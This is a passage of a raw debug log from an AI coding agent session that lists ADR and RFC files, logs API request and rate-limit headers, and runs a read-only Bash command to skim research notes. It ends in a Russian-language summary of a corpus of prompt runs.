RUN-0062\\n---\\ndocs/adr:\\n0001-hub-sync-pr208.md\\n0002-issue48-handover-local-enrichment.md\\n0003-creative-mode-governance.md\\n0004-hub-resync-2026-08.md\\n001-prompt-standard.md\\n002-pattern-standard.md\\n003-ba-ontology.md\\n004-operations-taxonomy.md\\n005-artifact-team-naming.md\\n006-prompt-naming.md\\n007-kb-standard.md\\n008-industry-standards-standard.md\\n009-bcreq-formation-process.md\\n010-pages-ux.md\\n2026-08-adr-011-integration-task-artifacts.md\\n\\ndocs/rfc:\\n2026-08-task-taxonomy.md\\nknowledge-transfer-to-hub\\nprompt-improvement-bcreq-1025-proposal.md\\nprompt-improvement-multichannel-proposal.md\\nrfc-process.md\\nrfc-register.md\\nrfc-to-hub-001-knowledge-transfer.md\\nrfc-to-hub-002-prompt-debugging-process.md\\ngrep: docs/adr/011*.md: No such file or directory\",\n[2026-09-29T07:47:54.131Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:54.131Z] [INFO]       }\n[2026-09-29T07:47:54.131Z] [INFO]     ]\n[2026-09-29T07:47:54.131Z] [INFO]   },\n[2026-09-29T07:47:54.131Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"uuid\": \"e5a8d849-2c37-4e97-8a34-d05444e804e4\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:54.071Z\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:47:54.131Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:47:54.131Z] [INFO] }\n[2026-09-29T07:47:54.144Z] [STDOUT] [log_a8625a] sending request {\n[2026-09-29T07:47:54.153Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:54.159Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:54.162Z] [STDOUT]   options: {\n[2026-09-29T07:47:54.165Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:54.167Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:54.169Z] [STDOUT]     body: {\n[2026-09-29T07:47:54.171Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:54.174Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:54.176Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:54.179Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:54.181Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:54.184Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:54.188Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:54.194Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:54.203Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:54.209Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:54.213Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:54.241Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:54.245Z] [STDOUT]     },\n[2026-09-29T07:47:54.248Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:54.251Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:54.255Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:47:54.258Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:47:54.263Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:54.265Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:54.268Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:54.273Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:54.276Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:54.279Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:54.283Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:54.286Z] [STDOUT]     },\n[2026-09-29T07:47:54.289Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:54.292Z] [STDOUT]   },\n[2026-09-29T07:47:54.294Z] [STDOUT]   headers: {\n[2026-09-29T07:47:54.297Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:54.300Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:54.309Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:54.316Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:54.336Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:54.343Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:54.348Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:54.352Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:54.355Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:54.358Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:47:54.359Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:47:54.363Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1400\",\n[2026-09-29T07:47:54.370Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:54.375Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:47:54.380Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.382Z] [STDOUT]     \"x-client-request-id\": \"0e6e63cb-0626-4fa4-98ee-d8504bc478b0\",\n[2026-09-29T07:47:54.386Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:54.391Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:54.397Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:54.402Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:54.406Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:54.409Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:54.417Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:54.422Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:54.427Z] [STDOUT]   },\n[2026-09-29T07:47:54.431Z] [STDOUT] }\n[2026-09-29T07:47:54.821Z] [INFO] {\n[2026-09-29T07:47:54.821Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:54.821Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:54.821Z] [INFO]   \"estimated_tokens\": 231,\n[2026-09-29T07:47:54.821Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:54.821Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.821Z] [INFO]   \"uuid\": \"c1c2c1ca-7cb8-4c20-87a4-74f291117bfd\"\n[2026-09-29T07:47:54.821Z] [INFO] }\n[2026-09-29T07:47:54.828Z] [INFO] {\n[2026-09-29T07:47:54.828Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:54.828Z] [INFO]   \"message\": {\n[2026-09-29T07:47:54.828Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:54.828Z] [INFO]     \"id\": \"msg_011CfXMwgMRwTP3BBpNhm9TR\",\n[2026-09-29T07:47:54.828Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:54.828Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:54.828Z] [INFO]     \"content\": [\n[2026-09-29T07:47:54.828Z] [INFO]       {\n[2026-09-29T07:47:54.828Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:54.828Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:54.828Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:47:54.828Z] [INFO]     ],\n[2026-09-29T07:47:54.828Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:54.828Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:54.828Z] [INFO]       \"cache_creation_input_tokens\": 993,\n[2026-09-29T07:47:54.828Z] [INFO]       \"cache_read_input_tokens\": 57813,\n[2026-09-29T07:47:54.828Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:54.828Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:54.828Z] [INFO]         \"ephemeral_1h_input_tokens\": 993\n[2026-09-29T07:47:54.828Z] [INFO]       },\n[2026-09-29T07:47:54.828Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:54.828Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:54.828Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:54.828Z] [INFO]     },\n[2026-09-29T07:47:54.828Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:54.828Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:54.828Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:54.828Z] [INFO]   },\n[2026-09-29T07:47:54.828Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:54.828Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:54.828Z] [INFO]   \"uuid\": \"ba19c22a-ddaf-4a16-95bc-00fb790b0f72\",\n[2026-09-29T07:47:54.828Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:54.820Z\",\n[2026-09-29T07:47:54.828Z] [INFO]   \"request_id\": \"req_011CfXMwfu97VZHSFVULtVRG\"\n[2026-09-29T07:47:54.828Z] [INFO] }\n[2026-09-29T07:47:54.855Z] [STDOUT] [log_a8625a, request-id: \"req_011CfXMwmFcK3fTbTJpHJqwc\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 754ms\n[2026-09-29T07:47:54.860Z] [STDOUT] [log_a8625a] response start {\n[2026-09-29T07:47:54.867Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:54.876Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:54.880Z] [STDOUT]   headers: {\n[2026-09-29T07:47:54.886Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:54.892Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:54.902Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:54.933Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:54.946Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:54.986Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:55.004Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:55.054Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:55.070Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:55.082Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:55.086Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:55.096Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:55.105Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:55.115Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:55.157Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:55.164Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:55.167Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:55.172Z] [STDOUT]     \"cf-ray\": \"a42961e72c4f29ad-FRA\",\n[2026-09-29T07:47:55.174Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:55.177Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:55.179Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:55.183Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:55.186Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:54 GMT\",\n[2026-09-29T07:47:55.189Z] [STDOUT]     \"request-id\": \"req_011CfXMwmFcK3fTbTJpHJqwc\",\n[2026-09-29T07:47:55.194Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:55.198Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:55.202Z] [STDOUT]     traceresponse: \"00-9b44ffd04ad157c8ebf87571f760d026-95b26b82694d33ee-01\",\n[2026-09-29T07:47:55.205Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:55.207Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:55.210Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:55.217Z] [STDOUT]   },\n[2026-09-29T07:47:55.245Z] [STDOUT]   durationMs: 754,\n[2026-09-29T07:47:55.251Z] [STDOUT] }\n[2026-09-29T07:47:55.255Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:55.261Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:54 GMT\",\n[2026-09-29T07:47:55.266Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:55.269Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:55.273Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:55.280Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:55.285Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:55.290Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:55.293Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:55.296Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:55.302Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:55.305Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:55.310Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:55.322Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:55.347Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:55.353Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:55.357Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:55.363Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:55.380Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:55.383Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:55.387Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:55.392Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:55.395Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:55.400Z] [STDOUT]   \"request-id\": \"req_011CfXMwmFcK3fTbTJpHJqwc\",\n[2026-09-29T07:47:55.403Z] [STDOUT]   \"traceresponse\": \"00-9b44ffd04ad157c8ebf87571f760d026-95b26b82694d33ee-01\",\n[2026-09-29T07:47:55.410Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:55.415Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:55.421Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:55.427Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:55.432Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:55.439Z] [STDOUT]   \"cf-ray\": \"a42961e72c4f29ad-FRA\",\n[2026-09-29T07:47:55.455Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:55.460Z] [STDOUT] [log_a8625a] response parsed {\n[2026-09-29T07:47:55.464Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:55.467Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:55.469Z] [STDOUT]   body: X {\n[2026-09-29T07:47:55.472Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:55.474Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:55.480Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:55.485Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:55.495Z] [STDOUT]     },\n[2026-09-29T07:47:55.500Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:55.503Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:55.505Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:55.507Z] [STDOUT]   },\n[2026-09-29T07:47:55.509Z] [STDOUT]   durationMs: 756,\n[2026-09-29T07:47:55.511Z] [STDOUT] }\n[2026-09-29T07:47:56.244Z] [INFO] {\n[2026-09-29T07:47:56.244Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"message\": {\n[2026-09-29T07:47:56.244Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:56.244Z] [INFO]     \"id\": \"msg_011CfXMwgMRwTP3BBpNhm9TR\",\n[2026-09-29T07:47:56.244Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:56.244Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:56.244Z] [INFO]     \"content\": [\n[2026-09-29T07:47:56.244Z] [INFO]       {\n[2026-09-29T07:47:56.244Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:47:56.244Z] [INFO]         \"id\": \"toolu_01Wbr5qtyFJdx8a5fhEczBi3\",\n[2026-09-29T07:47:56.244Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:47:56.244Z] [INFO]         \"input\": {\n[2026-09-29T07:47:56.244Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements; for f in 2026-08-25-mango-runs-empirical-snapshot.md 2026-09-08-artifact-structure-variance-facts.md 2026-09-09-legacy-normative-influence-facts.md; do echo \\\"=== $f\\\"; awk '/^## /{c++} c>=1 && c<=2' $f | head -40 | cut -c1-400; done\",\n[2026-09-29T07:47:56.244Z] [INFO]           \"description\": \"Skim key empirical facts files\"\n[2026-09-29T07:47:56.244Z] [INFO]         },\n[2026-09-29T07:47:56.244Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:56.244Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:56.244Z] [INFO]         }\n[2026-09-29T07:47:56.244Z] [INFO]       }\n[2026-09-29T07:47:56.244Z] [INFO]     ],\n[2026-09-29T07:47:56.244Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:56.244Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:56.244Z] [INFO]       \"cache_creation_input_tokens\": 993,\n[2026-09-29T07:47:56.244Z] [INFO]       \"cache_read_input_tokens\": 57813,\n[2026-09-29T07:47:56.244Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:56.244Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:56.244Z] [INFO]         \"ephemeral_1h_input_tokens\": 993\n[2026-09-29T07:47:56.244Z] [INFO]       },\n[2026-09-29T07:47:56.244Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:56.244Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:56.244Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:56.244Z] [INFO]     },\n[2026-09-29T07:47:56.244Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:56.244Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:56.244Z] [INFO]   },\n[2026-09-29T07:47:56.244Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:56.244Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"uuid\": \"396f8ad9-40de-4cfc-b17a-5f174a282cbd\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:56.238Z\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"request_id\": \"req_011CfXMwfu97VZHSFVULtVRG\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:56.244Z] [INFO]     \"toolu_01Wbr5qtyFJdx8a5fhEczBi3\": {\n[2026-09-29T07:47:56.244Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements; for f in 2026-08-25-mango-runs-empirical-snapshot.md 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history\"\n[2026-09-29T07:47:56.799Z] [INFO] }\n[2026-09-29T07:47:56.804Z] [INFO] {\n[2026-09-29T07:47:56.804Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"description\": \"Running Read ADR-009 gates, quick rules, ADR-011\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"usage\": {\n[2026-09-29T07:47:56.804Z] [INFO]     \"total_tokens\": 19458,\n[2026-09-29T07:47:56.804Z] [INFO]     \"tool_uses\": 31,\n[2026-09-29T07:47:56.804Z] [INFO]     \"duration_ms\": 214502\n[2026-09-29T07:47:56.804Z] [INFO]   },\n[2026-09-29T07:47:56.804Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"uuid\": 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\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `524a8eb`. \u0410\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440:\\n[`exp/ba-requirements-normalization-539/aggregate-runs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-requirements-normalization-539/aggregate-runs.py).\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e `metadata.yaml` \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043d\u0451\u043c \u043d\u0435\u0442 \u2014 \u0438\u043d\u0430\u0447\u0435 \u0432\u044b\u0432\u043e\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b \u0431\u044b \u043f\u0440\u0435\u0434\u0440\u0435\u0448\u0451\u043d \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439.\\n\\n## 2. \u0421\u043e\u0441\u0442\u0430\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 56 |\\n| \u041f\u0435\u0440\u0438\u043e\u0434 | 2026-04-10 \u2026 2026-08-25 |\\n| `run_type` | `statistics` 47, `execution` 9 |\\n| `status` | `draft` 29, `works-with-edits` 19, `partial-success` 5, `success` 1, `needs-rework` 1, `experimental` 1 |\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 (\u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043f\u043e\u043b\u044f `process`):\\n\\n| \u041f\u0440\u0435\u0444\u0438\u043a\u0441 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 |\\n| --- | --- | --- |\\n| `task-` | 32 | \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u0442\u0440\u0435\u043a\u0435\u0440\u0430/\u0447\u0430\u0442\u0430 \u2014 \u0443\u0436\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 |\\n| `fr-` | 9 | \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 (\u0430\u043d\u0430\u043b\u0438\u0437, \u0434\u0440\u0430\u0444\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f) |\\n| `bcreq-` | 4 | \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 (business change request) |\\n| `prompt-` | 3 | \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430\u0434 \u0441\u0430\u043c\u0438\u043c\u0438 